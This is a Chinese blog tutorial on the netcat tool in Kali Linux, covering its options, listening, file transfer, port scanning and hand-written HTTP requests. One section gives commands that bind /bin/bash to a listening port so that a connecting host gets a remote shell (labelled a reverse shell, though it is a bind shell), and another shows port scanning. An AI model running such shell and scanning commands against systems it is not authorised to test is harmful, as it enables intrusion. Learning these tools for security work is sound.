一文学会“瑞士军刀“-netcat命令使用

声明!

文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!

目录标题

此工具无需安装,kali自带

前言

在Kali Linux中,nc 命令(即Netcat)是一个功能强大的网络工具,它可以用于网络调试和网络服务。Netcat可以作为一个简单的TCP或UDP客户端,也可以作为一个服务器来监听传入的连接。

基本使用

复制代码
nc -help 

查看使用帮助

翻译如下:

复制代码
连接到某处:nc [ -options ] hostname ports...
监听传入连接:nc -l -p port [ -options ] [hostname] [port]

选项:
 -c shell命令        作为'-e';使用/bin/sh来执行(非常危险!!)
 -e 文件名           连接后执行程序(非常危险!!)
 -b                  允许广播
 -g 网关             源路由跳转点(s),最多8个
 -G 数量             源路由指针:4、8、12,...
 -h                  这个帮助
 -i secs            发送行的延迟间隔,扫描的端口
 -k                  在套接字上设置保持活动选项
 -l                  监听模式,用于传入连接
 -n                  仅数字IP地址,无DNS
 -o 文件             流量的十六进制转储
 -p 端口             本地端口号
 -r                  随机化本地和远程端口
 -q secs            在标准输入上接收到EOF后退出,并延迟关闭连接
 -s 本地源地址      本地源地址
 -T tos             设置服务类型
 -t                  应答TELNET协商
 -u                  UDP模式
 -v                  详细(使用两次会更详细)
 -w secs            连接和最终读取的超时时间
 -C                  将CRLF作为行结束符发送
 -z                  零 - I/O模式(用于扫描)

端口号可以是单个或范围:lo - hi [包含];
端口名称中的连字符必须用反斜杠转义(例如,'ftp - data')。

以上命令可以结合一起使用,如下

复制代码
nc -lvvp 4444 :更加详细监听4444端口 

1. 使用监听并连接

直接监听端口或者监听对应网站的端口

复制代码
nc -l port
nc 域名 port

监听后如下

ctrl+c即可退出监听

连接输入ip和端口即可

复制代码
nc ip port

使用UDP监听

因为nc默认监听方式是TCP,有时需要使用UDP

复制代码
nc -lup port
nc -u 域名 port

2. 发送和接收文件

首先开启两个端口并创建两个文件

在a.txt写入hello

复制代码
echo 'hello' > a.txt    
nc -lvvp 4444 > 1.txt  监听4444端口并将接收的内容输入到1.txt
nc ip 4444 < a.txt    连接此ip的4444端口并将a.txt内容发送

结果如下

比较文档MD5值

复制代码
md5sum 1.txt
md5sum a.txt

通过MD5值可以比较文件或数据的完整性和一致性

3. 反弹shell

攻击机需要连接监听端口,目标机开启端口并开通/bin/bash权限

-e 连接后执行参数(比较危险的参数)

复制代码
nc -lvvp 4444 -e /bin/bash
或者 nc -nvlp 4444 -e /bin/bash
nc ip 4444

只要连接了目标主机就会自动执行/bin/bash ,从而获得权限

4. 扫描端口

开启4444端口并执行扫描

-znv : 详细扫描端口

复制代码
nc -lvvp 4444
nc -znv ip 4000-4500

可以看到成功扫描了端口

同样的,使用nmap扫描也是可以的

复制代码
nmap ip
nmap ip -p 1-65535

成功扫描

5. 发送HTTP请求

开启一个web服务,有1.txt和a.txt两个文件

执行完连接命令,可以在命令交互面板,执行下面三条语句构造一个http请求

复制代码
nc 127.0.0.1 80

GET / HTTP/1.1         GET方式
Host: 127.0.0.1        域名或ip
Connection: close      执行完毕后关闭

可以看到成功执行了命令并回显在了面板,不过这种方法不是特别方便

相关推荐
tryCbest20 分钟前
Linux系统下安装使用Redis
linux·运维·redis
AuroBreeze2 小时前
xv6-2023 - primes Lab
linux·运维·服务器
DIY机器人工房2 小时前
NAT 模式、命令行版、桥接模式方式给ubuntu虚拟机配网步骤:
linux·网络协议·ubuntu·嵌入式·桥接模式·diy机器人工房
wdfk_prog3 小时前
[Linux]学习笔记系列 -- lib/sort.c 通用的排序库(Generic Sorting Library) 为内核提供标准的、高效的排序功能
linux·运维·c语言·笔记·stm32·学习·bug
黑马金牌编程3 小时前
简易分析慢 SQL 的流程和方法
linux·数据库·mysql·性能优化·性能分析·慢日志
什么半岛铁盒3 小时前
C++项目:仿muduo库高并发服务器---------LoopThreadPool模块和TcpServer模块的实现
linux·服务器·c++·mysql·ubuntu
Lin_Aries_04215 小时前
容器化 Flask 应用程序
linux·后端·python·docker·容器·flask
鹏大师运维5 小时前
麒麟系统中修改 WPS 默认新建文件格式的方法
linux·操作系统·wps·docx·麒麟·word文档·excel文档
歪歪1006 小时前
Http与WebSocket网络通信协议的对比
网络·websocket·网络协议·计算机网络·http·网络安全·信息与通信
GottdesKrieges6 小时前
OceanBase主备库日志传输服务
linux·oceanbase